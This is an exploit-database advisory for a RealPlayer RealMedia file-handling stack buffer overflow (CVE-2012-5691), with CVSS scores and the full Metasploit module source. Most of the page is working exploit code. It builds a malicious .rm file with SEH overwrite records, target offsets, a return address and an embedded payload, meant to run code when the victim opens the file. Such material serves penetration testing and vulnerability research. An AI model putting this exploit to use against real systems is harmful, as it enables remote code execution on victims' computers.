RealPlayer RealMedia File Handling Buffer Overflow

2012.12.28
Credit: suto
Risk: High
Local: No
Remote: Yes
CWE: CWE-119


CVSS Base Score: 9.3/10
Impact Subscore: 10/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT include Msf::Exploit::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'RealPlayer RealMedia File Handling Buffer Overflow', 'Description' => %q{ This module exploits a stack based buffer overflow on RealPlayer <=15.0.6.14. The vulnerability exists in the handling of real media files, due to the insecure usage of the GetPrivateProfileString function to retrieve the URL property from an InternetShortcut section. This module generates a malicious rm file which must be opened with RealPlayer via drag and drop or double click methods. It has been tested successfully on Windows XP SP3 with RealPlayer 15.0.5.109. }, 'License' => MSF_LICENSE, 'Author' => [ 'suto <suto[at]vnsecurity.net>' # Vulnerability discovery, metasploit module ], 'References' => [ [ 'CVE', '2012-5691' ], [ 'OSVDB', '88486' ], [ 'BID', '56956' ], [ 'URL', 'http://service.real.com/realplayer/security/12142012_player/en/' ] ], 'DefaultOptions' => { 'ExitFunction' => 'process' }, 'Platform' => 'win', 'Payload' => { 'BadChars' => "\x00\x0a\x0d", 'DisableNops' => true, 'Space' => 2000 }, 'Targets' => [ [ 'Windows XP SP3 / Real Player 15.0.5.109', { 'Ret' => 0x63f2b4b5, # ppr from rpap3260.dll 'OffsetOne' => 2312, # Open via double click 'OffsetTwo' => 2964 # Open via drag and drop } ] ], 'Privileged' => false, 'DisclosureDate' => 'Dec 14 2012', 'DefaultTarget' => 0)) register_options([OptString.new('FILENAME', [ false, 'The file name.', 'msf.rm']),], self.class) end def exploit buffer = payload.encoded buffer << rand_text(target['OffsetOne'] - buffer.length) # Open the file via double click buffer << generate_seh_record(target.ret) buffer << Metasm::Shellcode.assemble(Metasm::Ia32.new, "call $-#{target['OffsetOne'] + 8}").encode_string buffer << rand_text(target['OffsetTwo'] - buffer.length) # Open the file via drag and drop to the real player buffer << generate_seh_record(target.ret) buffer << Metasm::Shellcode.assemble(Metasm::Ia32.new, "call $-#{target['OffsetTwo'] + 8}").encode_string buffer << rand_text(7000) # Generate exception content = "[InternetShortcut]\nURL=" filecontent = content+buffer file_create(filecontent) end end

References:

http://service.real.com/realplayer/security/12142012_player/en/


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